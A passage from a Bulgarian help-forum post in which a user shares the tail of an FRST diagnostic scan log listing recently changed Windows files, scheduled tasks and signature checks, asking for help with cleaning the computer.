      2017-09-13 07:03 - 2017-09-05 07:18 - 000874496 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasmans.dll
      2017-09-13 07:03 - 2017-09-05 07:18 - 000864256 _____ (Microsoft Corporation) C:\WINDOWS\system32\NotificationController.dll
      2017-09-13 07:03 - 2017-09-05 07:18 - 000803328 _____ (Microsoft Corporation) C:\WINDOWS\system32\wcmsvc.dll
      2017-09-13 07:03 - 2017-09-05 07:18 - 000564736 _____ (Microsoft Corporation) C:\WINDOWS\system32\dsreg.dll
      2017-09-13 07:03 - 2017-09-05 07:18 - 000056832 _____ (Microsoft Corporation) C:\WINDOWS\system32\cldapi.dll
      2017-09-13 07:03 - 2017-09-05 07:17 - 002765824 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Shell.UnifiedTile.CuratedTileCollections.dll
      2017-09-13 07:03 - 2017-09-05 07:17 - 001886208 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentExtensions.onecore.dll
      2017-09-13 07:03 - 2017-09-05 07:17 - 001397760 _____ (Microsoft Corporation) C:\WINDOWS\system32\wwansvc.dll
      2017-09-13 07:03 - 2017-09-05 07:16 - 002805248 _____ (Microsoft Corporation) C:\WINDOWS\system32\AppXDeploymentServer.dll
      2017-09-13 07:03 - 2017-09-05 07:16 - 002680320 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.CloudStore.dll
      2017-09-13 07:03 - 2017-09-05 07:16 - 000440320 _____ (Microsoft Corporation) C:\WINDOWS\system32\windows.immersiveshell.serviceprovider.dll
      2017-09-13 07:03 - 2017-09-05 07:16 - 000397312 _____ (Microsoft Corporation) C:\WINDOWS\system32\rascustom.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 004396032 _____ (Microsoft Corporation) C:\WINDOWS\system32\D3DCompiler_47.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 003307008 _____ (Microsoft Corporation) C:\WINDOWS\system32\wininet.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 003059200 _____ (Microsoft Corporation) C:\WINDOWS\system32\NetworkMobileSettings.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 002503680 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.pcshell.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 002055680 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32kbase.sys
      2017-09-13 07:03 - 2017-09-05 07:15 - 001736704 _____ (Microsoft Corporation) C:\WINDOWS\system32\wevtsvc.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 001460224 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsasrv.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 001293824 _____ (Microsoft Corporation) C:\WINDOWS\system32\aadtb.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 001077248 _____ (Microsoft Corporation) C:\WINDOWS\system32\twinui.appcore.dll
      2017-09-13 07:03 - 2017-09-05 07:15 - 000706560 _____ (Microsoft Corporation) C:\WINDOWS\system32\winlogon.exe
      2017-09-13 07:03 - 2017-09-05 07:14 - 005557760 _____ (Microsoft Corporation) C:\WINDOWS\system32\dbgeng.dll
      2017-09-13 07:03 - 2017-09-05 07:14 - 002445824 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaueng.dll
      2017-09-13 07:03 - 2017-09-05 07:14 - 002177024 _____ (Microsoft Corporation) C:\WINDOWS\system32\OpcServices.dll
      2017-09-13 07:03 - 2017-09-05 07:14 - 002006528 _____ (Microsoft Corporation) C:\WINDOWS\system32\LocationFramework.dll
      2017-09-13 07:03 - 2017-09-05 07:14 - 000986624 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuapi.dll
      2017-09-13 07:03 - 2017-09-05 07:14 - 000810496 _____ (Microsoft Corporation) C:\WINDOWS\system32\rasapi32.dll
      2017-09-13 07:03 - 2017-09-05 07:13 - 001802752 _____ (Microsoft Corporation) C:\WINDOWS\system32\urlmon.dll
      2017-09-13 07:03 - 2017-09-05 07:13 - 000407040 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuuhext.dll
      2017-09-13 07:03 - 2017-09-05 07:12 - 002153984 _____ (Microsoft Corporation) C:\WINDOWS\system32\wlidsvc.dll
      2017-09-13 07:03 - 2017-09-05 07:11 - 000254976 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\srvnet.sys
      2017-09-13 07:03 - 2017-09-05 07:09 - 000268288 _____ (Microsoft Corporation) C:\WINDOWS\system32\wisp.dll
      2017-09-13 07:03 - 2017-09-05 07:07 - 000201728 _____ (Microsoft Corporation) C:\WINDOWS\system32\RstrtMgr.dll
      2017-09-13 07:03 - 2017-09-05 07:07 - 000061952 _____ (Microsoft Corporation) C:\WINDOWS\system32\vss_ps.dll
      2017-09-13 07:03 - 2017-09-01 08:55 - 000031932 _____ C:\WINDOWS\system32\edgehtmlpluginpolicy.bin
      2017-08-25 23:36 - 2017-09-13 21:06 - 000000000 ____D C:\Users\Стоянчо\Desktop\red
      ==================== One Month Modified files and folders ========
      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-09-24 23:13 - 2017-02-05 23:56 - 000000000 ____D C:\ProgramData\Gramblr
      2017-09-24 22:54 - 2017-06-18 07:23 - 000000000 ____D C:\Users\Стоянчо\Desktop\яяь
      2017-09-24 20:10 - 2017-06-30 01:05 - 000004212 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{33349A0F-B0C0-4DB3-AFE6-0F51132F45D5}
      2017-09-24 19:38 - 2017-06-30 00:42 - 000000000 ____D C:\WINDOWS\system32\SleepStudy
      2017-09-24 17:36 - 2017-06-30 01:05 - 000004276 _____ C:\WINDOWS\System32\Tasks\Software Updater
      2017-09-24 13:12 - 2017-03-19 00:03 - 000000000 ____D C:\WINDOWS\AppReadiness
      2017-09-24 13:06 - 2015-09-13 15:31 - 000000000 __SHD C:\Users\Стоянчо\IntelGraphicsProfiles
      2017-09-23 19:06 - 2015-09-13 15:01 - 000000000 ____D C:\Users\Стоянчо\AppData\Local\Packages
      2017-09-23 19:04 - 2015-09-25 17:35 - 000000000 ____D C:\Users\Стоянчо\AppData\Roaming\uTorrent
      2017-09-23 18:02 - 2017-07-18 10:48 - 000001085 _____ C:\Users\Стоянчо\Desktop\Нов текстов документ.txt
      2017-09-23 15:14 - 2017-02-05 23:57 - 000000000 ____D C:\Program Files\Gramblr
      2017-09-23 13:05 - 2017-06-30 01:03 - 002547028 _____ C:\WINDOWS\system32\PerfStringBackup.INI
      2017-09-23 13:05 - 2015-12-04 21:09 - 001132696 _____ C:\WINDOWS\system32\perfh002.dat
      2017-09-23 13:05 - 2015-12-04 21:09 - 000334978 _____ C:\WINDOWS\system32\perfc002.dat
      2017-09-23 13:00 - 2017-06-30 01:05 - 000000006 ____H C:\WINDOWS\Tasks\SA.DAT
      2017-09-23 13:00 - 2017-03-18 14:40 - 001572864 _____ C:\WINDOWS\system32\config\BBI
      2017-09-23 07:37 - 2017-03-19 00:03 - 000000000 ___HD C:\Program Files\WindowsApps
      2017-09-22 07:46 - 2017-06-30 00:48 - 000000000 ____D C:\Users\Стоянчо
      2017-09-22 06:18 - 2017-07-27 20:57 - 000003382 _____ C:\WINDOWS\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-3274723310-3931731729-1199849900-1001
      2017-09-22 06:17 - 2015-09-13 15:03 - 000002401 _____ C:\Users\Стоянчо\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\OneDrive.lnk
      2017-09-22 06:17 - 2015-09-13 15:03 - 000000000 ___RD C:\Users\Стоянчо\OneDrive
      2017-09-19 06:55 - 2015-10-09 22:20 - 000000000 ____D C:\Program Files (x86)\Microsoft Office
      2017-09-18 21:49 - 2017-03-19 00:03 - 000000000 ____D C:\ProgramData\regid.1991-06.com.microsoft
      2017-09-14 02:24 - 2017-03-19 00:03 - 000000000 ____D C:\WINDOWS\rescache
      2017-09-14 02:16 - 2017-03-19 00:01 - 000000000 ____D C:\WINDOWS\INF
      2017-09-13 18:18 - 2015-09-13 15:01 - 000000000 __RHD C:\Users\Public\AccountPictures
      2017-09-13 18:15 - 2017-06-30 00:42 - 000381448 _____ C:\WINDOWS\system32\FNTCACHE.DAT
      2017-09-13 07:44 - 2017-03-20 06:21 - 000000000 ____D C:\WINDOWS\system32\bg
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ___SD C:\WINDOWS\SysWOW64\F12
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ___SD C:\WINDOWS\system32\F12
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ____D C:\WINDOWS\SysWOW64\setup
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ____D C:\WINDOWS\system32\WinBioPlugIns
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ____D C:\WINDOWS\system32\setup
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ____D C:\WINDOWS\ShellExperiences
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ____D C:\Program Files\Windows Photo Viewer
      2017-09-13 07:44 - 2017-03-19 00:03 - 000000000 ____D C:\Program Files (x86)\Windows Photo Viewer
      2017-09-13 07:20 - 2015-09-13 17:14 - 000000000 ____D C:\WINDOWS\system32\MRT
      2017-09-13 07:16 - 2017-03-18 23:51 - 000000000 ____D C:\WINDOWS\CbsTemp
      2017-09-13 07:16 - 2015-09-13 17:14 - 138202976 ____C (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe
      2017-09-02 18:15 - 2017-03-19 00:06 - 000835576 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerApp.exe
      2017-09-02 18:15 - 2017-03-19 00:06 - 000177656 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerCPLApp.cpl
      2017-08-29 06:58 - 2016-09-11 19:33 - 000002270 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
      2017-08-26 15:34 - 2017-08-05 17:48 - 000000000 ____D C:\Users\Стоянчо\Desktop\;[;.[plpl
      2017-08-25 07:37 - 2017-07-28 23:11 - 000000000 ____D C:\Users\Стоянчо\Desktop\dfere
      ==================== Files in the root of some directories =======
      2016-01-17 08:06 - 2017-07-17 07:19 - 000009216 _____ () C:\Users\Стоянчо\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
      2016-07-17 20:30 - 2016-07-17 20:30 - 000000036 _____ () C:\Users\Стоянчо\AppData\Local\housecall.guid.cache
      2015-09-13 15:16 - 2015-09-13 15:16 - 000000003 _____ () C:\Users\Стоянчо\AppData\Local\updater.log
      2015-09-13 15:16 - 2017-05-06 19:17 - 000000425 _____ () C:\Users\Стоянчо\AppData\Local\UserProducts.xml
      ==================== Bamital & volsnap ======================
      (There is no automatic fix for files that do not pass verification.)
      C:\WINDOWS\system32\winlogon.exe => File is digitally signed
      C:\WINDOWS\system32\wininit.exe => File is digitally signed
      C:\WINDOWS\explorer.exe => File is digitally signed
      C:\WINDOWS\SysWOW64\explorer.exe => File is digitally signed
      C:\WINDOWS\system32\svchost.exe => File is digitally signed
      C:\WINDOWS\SysWOW64\svchost.exe => File is digitally signed
      C:\WINDOWS\system32\services.exe => File is digitally signed
      C:\WINDOWS\system32\User32.dll => File is digitally signed
      C:\WINDOWS\SysWOW64\User32.dll => File is digitally signed
      C:\WINDOWS\system32\userinit.exe => File is digitally signed
      C:\WINDOWS\SysWOW64\userinit.exe => File is digitally signed
      C:\WINDOWS\system32\rpcss.dll => File is digitally signed
      C:\WINDOWS\system32\dnsapi.dll => File is digitally signed
      C:\WINDOWS\SysWOW64\dnsapi.dll => File is digitally signed
      C:\WINDOWS\system32\Drivers\volsnap.sys => File is digitally signed
      LastRegBack: 2017-09-19 19:38
      ==================== End of FRST.txt ============================
       
      Addition.txt
       
      Благодаря предварително.
  • Разглеждащи в момента   0 потребители

    Няма регистрирани потребители разглеждащи тази страница.

  • Дарение

×